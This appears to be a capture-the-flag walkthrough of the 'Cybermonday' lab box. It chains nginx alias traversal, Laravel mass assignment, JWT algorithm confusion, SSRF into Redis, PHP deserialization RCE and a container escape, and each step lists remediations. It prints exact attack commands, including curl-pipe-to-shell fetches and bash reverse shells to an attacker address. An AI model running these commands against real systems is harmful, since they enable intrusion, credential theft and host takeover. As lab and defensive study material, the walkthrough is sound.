โ† all walkthroughs

Cybermonday

Linuxยท Hard
owned
2026-10-14
time to own
33m48s
milestone
root-owned
user.txt
โœ“ captured
root.txt
โœ“ captured

Summary

I exploited a Laravel 9 application fronted by nginx, starting with an off-by-slash misconfiguration in the static-assets alias that exposed the site's .env file and full Git history. Leaked Eloquent mass-assignment protections let a normal signup account self-promote to admin, unlocking a hidden dashboard that linked to an internal webhook/API microservice.

That service's RS256 JWTs were forged to an admin role via algorithm confusion, which unlocked a webhook feature vulnerable to SSRF and HTTP-verb CRLF injection. The SSRF was used to reach an internal, unauthenticated Redis instance backing Laravel's session store; the leaked APP_KEY was used to decrypt my own session cookie and find its Redis key, then a PHP deserialization gadget chain (phpggc) was written into that key, and simply reloading a Laravel page triggered unserialize()-based remote code execution as www-data inside a Docker container.

From that container, a shared SSH-key mount exposed a path to the host user john; pulling the API's own container image from an exposed Docker registry revealed a hardcoded internal API key and a path-traversal flaw in a log-reading endpoint, which was abused to read /proc/self/environ and recover john's SSH password. A sudo rule that prompts for john's own password then let him run a compose-validating helper as root; the validator never inspected cap_add, so a compose file granting the full Linux capability set to a local image gave a root shell inside an overprivileged container, and a capability-abuse breakout binary (shocker, using CAP_DAC_READ_SEARCH and open_by_handle_at) escaped that container to read root.txt from the underlying host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for pwner>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"

Some commands also carry a value in angle brackets (<forged_jwt>, <leaked_key>, <sid>, <uuid>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissanceVirtual host discovery and application fingerprinting
Mapped virtual hosts and fingerprinted the Laravel application
Nmap showed only SSH and HTTP exposed. The HTTP service redirected to the cybermonday.htb vhost, which served a Laravel 9 site with signup/login. Path-fuzzing the main vhost returned only /assets, and the /dashboard route threw a framework-fingerprinting Laravel debug error (HTTP 500). The second vhost, webhooks-api-beta.cybermonday.htb, is not found here; it surfaces later from a link in the admin dashboard's changelog (step 4).
Port 80 302-redirected to cybermonday.htb; path enumeration of the main vhost returned only /assets; /dashboard returned an HTTP 500 Laravel error page.
Exact commands 3
shell

Full port sweep.

$ nmap -p- --min-rate=1000 $TARGET
shell

Resolve the main vhost locally (add webhooks-api-beta.cybermonday.htb later, once the dashboard reveals it).

$ echo "$TARGET cybermonday.htb" | sudo tee -a /etc/hosts
shell

Enumerate paths on the main vhost.

$ ffuf -w common.txt -u http://cybermonday.htb/FUZZ -mc all -fc 404
2Initial FootholdNginx alias path traversal (off-by-slash misconfiguration)
Leaked application secrets via an nginx alias off-by-slash
The /assets location was configured as a filesystem alias without a trailing slash, letting a crafted path escape the intended directory and list the parent application folder. This exposed the .env file (DB creds, Redis config, Laravel APP_KEY) and the full .git directory, which was pulled to recover application source code.
GET /assets../.env returned the APP_KEY, REDIS_HOST=redis, REDIS_PREFIX=laravel_session:, SESSION_DRIVER=redis, and MySQL credentials [redacted: DB root]; the .git directory was publicly readable.
Exact commands 3
shell

Discover readable files via the alias path-traversal bug.

$ wfuzz -c -w quickhits.txt -u 'http://cybermonday.htb/assets../FUZZ' --hc 404
shell

Dump the leaked environment file (APP_KEY, DB/Redis config).

$ curl -s http://cybermonday.htb/assets../.env
shell

Reconstruct the application source tree from the exposed .git folder.

$ pip3 install git-dumper && git-dumper http://cybermonday.htb/assets../.git dump
FixFix the nginx alias path-traversal and remove exposed source controlHigh
WeaknessThe /assets location used nginx's alias directive without a trailing slash, letting a crafted request escape the intended folder and read .env and .git from the application root.
FixAlways pair alias with a trailing slash matching the location block (or switch to root), and add a location block that denies access to dotfiles (.env, .git, .htaccess) with location ~ /\. { deny all; }. Never deploy a live .git directory; build and ship only the application artifacts.
3Privilege Escalation (application)Mass assignment vulnerability (CWE-915)
Self-promoted to admin via a Laravel mass-assignment flaw
Source review (app/Models/User.php) showed the User model only guarded remember_token, leaving every other column, including an isAdmin flag used by a migration, mass-assignable. After registering a normal account, I intercepted the profile-update request and added isAdmin=1 to the body; re-authenticating unlocked the admin dashboard.
$guarded = ['remember_token'] in User.php; POST/PUT to /update with isAdmin=1 exposed the Dashboard on next login.
Exact commands 2
shell

Create a normal account.

$ curl -s -c cookies.txt -X POST http://cybermonday.htb/signup -d "name=pwner&email=pwner@x.htb&password=$PASSWORD"
shell

Add the unguarded isAdmin field to the profile-update request body.

$ curl -s -b cookies.txt -X POST http://cybermonday.htb/update -d 'name=pwner&email=pwner@x.htb&isAdmin=1'
FixEnforce explicit mass-assignment whitelisting on the User modelCritical
WeaknessThe User model only guarded remember_token, leaving the privileged isAdmin column, and every other column, writable directly from client-submitted form data.
FixSwitch to an explicit $fillable whitelist on every Eloquent model that excludes privileged/internal columns, and never bind raw request input directly to a model; use dedicated DTOs/form requests for user-editable fields only.
4Lateral MovementJWT algorithm confusion (RS256-to-HS256 key confusion)
Forged an administrator JWT against the internal webhook API via algorithm confusion
The dashboard's changelog linked to the internal webhooks-api-beta API, which issued RS256-signed JWTs and exposed its public key at /jwks.json. Converting that public key to PEM and resigning a token with HS256, using the public key itself as the HMAC secret, let me set role=admin and have the server accept it, since many JWT libraries will verify an HS256 token against whatever key is configured for RS256 verification.
X-access-token forged with role=admin was accepted by /webhooks/create, which otherwise returned 401 for a normal user role.
Exact commands 5
shell

The dashboard changelog links to this internal API host; resolve it now.

$ echo "$TARGET webhooks-api-beta.cybermonday.htb" | sudo tee -a /etc/hosts
shell

Register and log in to the API; the valid RS256 JWT comes back in the x-access-token response header ($TOKEN).

$ curl -s -X POST http://webhooks-api-beta.cybermonday.htb/auth/register -d "username=pwner&password=$PASSWORD"; TOKEN=$(curl -s -i -X POST http://webhooks-api-beta.cybermonday.htb/auth/login -d "username=pwner&password=$PASSWORD" | grep -i x-access-token | tr -d '\r' | awk '{print $2}')
shell

Retrieve the API's RSA public key and convert the JWK to PEM for use as an HMAC key.

$ curl -s http://webhooks-api-beta.cybermonday.htb/jwks.json -o jwks.json && jose jwk pub -i jwks.json -o public.pem
shell

Interactively edit claims (set role=admin) and resign with HS256 using the RSA public key as the HMAC secret, producing the forged admin token.

$ python3 jwt_tool.py $TOKEN -S hs256 -k public.pem -T
shell

Use the forged admin token to create a webhook.

$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET http://webhooks-api-beta.cybermonday.htb/webhooks/create -H 'x-access-token: <forged_jwt>' -d '{"action":"sendRequest"}'
FixReject HS256 when the API is configured for RS256 verificationCritical
WeaknessThe webhook API's JWT verifier accepted whatever algorithm the incoming token declared, letting an RS256-issued token be resigned as HS256 using the public RSA key as an HMAC secret and accepted as valid.
FixHard-code the expected algorithm (RS256) on the verifier and reject any token whose header specifies a different alg; never derive the verification key/algorithm from the token itself.
5Server-Side Request ForgeryServer-Side Request Forgery with CRLF/HTTP request-line injection
Abused the webhook's URL/method parameters to reach internal-only services
The admin-only webhook-send feature fetched my own URL. The method parameter was concatenated into the raw request line without validation, allowing CRLF injection to smuggle extra lines, and the url parameter was not restricted to external hosts, letting me target internal-only infrastructure such as the Redis container.
Method=GET\r\ninjected\r\n produced an extra line on my own listener; url=redis:6379 reached the internal Redis container from the webhook worker.
Exact commands 2
shell

Confirm SSRF by callback to my own listener.

$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET "http://webhooks-api-beta.cybermonday.htb/webhooks/<uuid>?url=http://$ATTACKER_IP:8000&method=GET" -H 'x-access-token: <forged_jwt>'
shell

Pivot the SSRF to the internal Redis service: the <RESP_payload> is the Redis SET command built in step 6 (CRLF-injected into the request so Redis parses it as a RESP command). flushall/flushdb are blacklisted; SET works.

$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET 'http://webhooks-api-beta.cybermonday.htb/webhooks/<uuid>?url=redis:6379&method=GET%0d%0a<RESP_payload>' -H 'x-access-token: <forged_jwt>'
FixRestrict and sanitize outbound requests from the webhook featureHigh
WeaknessThe webhook-send feature forwarded an externally supplied url and method with no allow-listing or encoding, enabling SSRF to internal-only hosts and CRLF injection into the raw HTTP request line.
FixAllow-list destination hosts/ports (deny RFC1918 and container-network ranges by default), validate method against a fixed enum, and strip/reject CR/LF and other control characters from any user-influenced request component.
6Remote Code ExecutionInsecure deserialization via PHP unserialize() (CWE-502) / PHPGGC Laravel object-injection gadget chain
Poisoned the Redis-backed Laravel session store to trigger PHP object deserialization
Redis required no authentication and was reachable only via the SSRF, and the Laravel session key is laravel_session:<session_id>. To learn my own session_id, the laravel_session cookie was base64-decoded and AES-256-CBC decrypted with the leaked APP_KEY (a short openssl_decrypt script), which yields the raw session_id that forms the Redis key. A phpggc Laravel gadget chain was then written into that key via the SSRF; reloading any Laravel page caused the framework to decrypt and unserialize() the poisoned session value, executing the embedded command as the web user.
The SET of laravel_session:<sid> to the phpggc payload over the SSRF led to curl|sh executing on a listener, yielding uid=33(www-data) in a container.
Exact commands 6
shell

Decrypt the laravel_session cookie with APP_KEY to recover the raw session_id, which is the Redis key suffix (<sid>).

$ APP_KEY="$KEY" php -r '$c=json_decode(base64_decode("<laravel_session cookie>"),true);echo openssl_decrypt($c["value"],"AES-256-CBC",base64_decode(substr(getenv("APP_KEY"),7)),0,base64_decode($c["iv"]));'
shell

Build the deserialization RCE payload. Use ${IFS} instead of spaces: the RESP transport splits on spaces, so the payload must contain none.

$ git clone https://github.com/ambionics/phpggc && phpggc/phpggc Laravel/RCE10 system "curl${IFS}$ATTACKER_IP:8001|sh" > payload.bin
shell

Serve the second-stage reverse shell as index.html (in its own directory) for the curl|sh to fetch.

$ echo '/bin/bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/1337 0>&1"' > index.html && python3 -m http.server 8001
shell

Catch the resulting reverse shell.

$ nc -lvnp 1337
shell

This is the <RESP_payload> from step 5: send it CRLF-injected through the webhook SSRF to redis:6379 so Redis stores the gadget chain under your session key.

$ SET laravel_session:<sid> "$(cat payload.bin)"
shell

Reload a Laravel page to trigger unserialize() on the poisoned session and fire the RCE.

$ curl -s -b 'laravel_session=<laravel_session cookie>' http://cybermonday.htb/home
FixRequire Redis authentication and stop trusting session content for deserializationCritical
WeaknessRedis had no authentication and was reachable from the SSRF, letting an unauthorised user overwrite a Laravel session value with a serialized PHP object; the framework then unserialized externally controlled data from that store.
FixEnable Redis AUTH/ACLs and bind it to a network only the app tier can reach; rotate APP_KEY regularly and treat it as a secret never shipped in .env to a public path; keep Laravel and its dependencies patched against known unserialize() gadget chains (phpggc-class CVEs).
7Pivoting to a Host UserShared credential material across container boundaries + hardcoded API key + path traversal (CWE-22) leading to credential exposure
Used a container-shared SSH key mount and a leaked registry to recover john's password
Inside the www-data container, /mnt/.ssh/authorized_keys showed a key belonging to the host user john, confirming a secrets-bearing directory was bind-mounted across the container boundary. Enumerating the internal Docker network found a private registry; pulling and inspecting the API's own container image revealed a hardcoded internal API key in source and a log-reading endpoint whose filename filter only stripped literal spaces (not all traversal), letting me read /proc/self/environ through the containerized API and recover the database/SSH password for john.
/mnt/.ssh/authorized_keys showed john@cybermonday; Docker registry at $INTERNAL_HOST:5000 served the cybermonday_api image containing a hardcoded apiKeyAuth() constant; log_name=".. /.. /var/log/.. /.. /proc/self/environ" leaked DBPASS used as john's SSH password.
Exact commands 7
shell

From the www-data RCE shell, confirm the shared-secrets mount and container subnet.

$ cat /mnt/.ssh/authorized_keys; hostname -I
shell

Enumerate the internal Docker registry for images.

$ curl -s http://$INTERNAL_HOST:5000/v2/_catalog && curl -s http://$INTERNAL_HOST:5000/v2/cybermonday_api/tags/list
shell

On my host: start a chisel reverse-tunnel server.

$ ./chisel server --reverse --port 8000
shell

From the compromised container: tunnel the internal registry out to my host.

$ /tmp/chisel client $ATTACKER_IP:8000 R:5000:$INTERNAL_HOST:5000
shell

Pull and inspect the API's image for the hardcoded API key.

$ docker pull localhost:5000/cybermonday_api:latest && docker run -it localhost:5000/cybermonday_api:latest bash
shell

Path-traversal read of /proc/self/environ using the space-only filter bypass; leaks DBPASS.

$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET http://webhooks-api-beta.cybermonday.htb/webhooks/<uuid>/logs -H 'x-api-key: <leaked_key>' -d '{"action":"read","log_name":".. /.. /var/log/.. /.. /proc/self/environ"}'
shell

SSH in as john with the recovered password; verify with id; hostname before reading /home/john/<user.txt>.

$ ssh john@$TARGET
FixStop sharing SSH credential material across container/host boundaries and remove hardcoded API keysHigh
WeaknessAn authorized_keys file for a real host account was bind-mounted into a web-facing container, and a separate internal service shipped a hardcoded API key in its source image alongside a path-traversal-prone log-read endpoint, together letting an unauthorised user pivot from the web container to a host user's credentials.
FixNever mount host user SSH material into application containers; manage secrets via a vault/secret manager injected at runtime, not baked into images or source. Fix the log-name filter to canonicalize and reject any path component equal to '..' after full whitespace normalization, and require a strict directory allow-list.
8Privilege Escalation (root, container)Insufficient compose-file validator that ignores cap_add, granting the full Linux capability set
Bypassed a compose-validating sudo helper via an unchecked cap_add grant
As john (authenticating with his own password), sudo -l showed permission to run /opt/secure_compose.py against any *.yml file. The script runs docker-compose up --build after checks that forbid privileged: true, reject volume sources outside /home/<user> or /mnt, require :ro on volumes, and reject symlinks, but it never inspects cap_add. A compose file that sets cap_add: [ALL] on the already-local cybermonday_api image passes every check and starts a container with the full capability set, whose command curls and runs a reverse shell as root inside that container.
Sudo -l listed '(root) /opt/secure_compose.py *.yml' and the sudo call prompted for john's password; the cap_add: [ALL] compose file yielded a uid=0 reverse shell inside a container (short hex hostname, not the host yet).
Exact commands 5
shell

Enumerate sudo rights as john (it prompts for john's own password); shows /opt/secure_compose.py runnable as root against any *.yml.

$ sudo -l
(root) /opt/secure_compose.py *.yml
shell

Compose file that passes every validator check but grants ALL capabilities and runs the reverse-shell fetch.

$ printf 'version: "3"\nservices:\n  pwn:\n    image: cybermonday_api\n    cap_add: [ALL]\n    command: sh -c "curl${IFS}'"$ATTACKER_IP"':8001|sh"\n' > /tmp/pwn.yml
shell

On my host: serve the stage-two shell and listen for the callback.

$ echo '/bin/bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/1337 0>&1"' > index.html; python3 -m http.server 8001 & nc -lvnp 1337
shell

Run the validated-but-capability-rich compose; catch the uid=0 shell on 1337.

$ sudo /opt/secure_compose.py /tmp/pwn.yml
shell

Confirm uid=0(root) inside the container (short hex hostname); root.txt is still on the host.

$ id; hostname
FixMake the compose validator complete, or remove its root sudo grantCritical
WeaknessJohn could run /opt/secure_compose.py as root against any user-supplied .yml. The validator rejected privileged mode, out-of-whitelist volume sources, missing :ro, and symlinks, but never inspected cap_add, so a compose file granting the full capability set passed every check and started a root-equivalent container.
FixA deny-list that misses one dangerous key (cap_add) fails open. Switch to an allow-list of permitted compose keys and values, explicitly reject cap_add, privileged, security_opt, devices, pid/network host mode, and bind mounts, and pin the sudo rule to specific validated files rather than a user-supplied path. Better, remove the root sudo grant entirely and run compose unprivileged.
9Full Compromise (host escape)Container escape via excessive Linux capabilities (CAP_DAC_READ_SEARCH / open_by_handle_at, T1611 - Escape to Host)
Escaped an overprivileged container to read the host's root flag
The root shell from the previous step sat inside a Docker container granted the full Linux capability set (CapEff showed every bit set), which includes CAP_DAC_READ_SEARCH. Sebastian Krahmer's shocker technique abuses that capability: open_by_handle_at() with a brute-forced file handle resolves inode references against the host filesystem the container's root sits on, reading host-owned files from inside the container. Compiled statically and pointed at the host's /root/root.txt, it read the root flag.
/proc/self/status showed CapEff: 0000003fffffffff (all capabilities); shocker read /root/root.txt from the host into /tmp/out.txt from inside the container.
Exact commands 4
shell

Confirm the container holds the full capability bitmask (0000003fffffffff).

$ grep CapEff /proc/self/status
shell

Fetch Krahmer's shocker.c (modified to take host-path + output-file as argv) and build it statically.

$ gcc -static -O2 /tmp/shocker.c -o /tmp/shocker
shell

Read a host-owned file from inside the container by abusing CAP_DAC_READ_SEARCH.

$ /tmp/shocker /root/root.txt /tmp/out.txt
shell

Read the exfiltrated contents: replace with <root.txt> when reporting.

$ cat /tmp/out.txt
FixDrop excess Linux capabilities from application containersCritical
WeaknessThe container reached in the final escalation step ran with the full Linux capability set rather than the minimal set it needed, allowing a known breakout technique to escape to the host and read host-owned files.
FixRun containers with --cap-drop=ALL and add back only the specific capabilities required; enforce this via a Pod/Container security policy (seccomp profile, no privileged mode, read-only root filesystem where possible) rather than relying on defaults.

Exposed services

22/tcp
80/tcp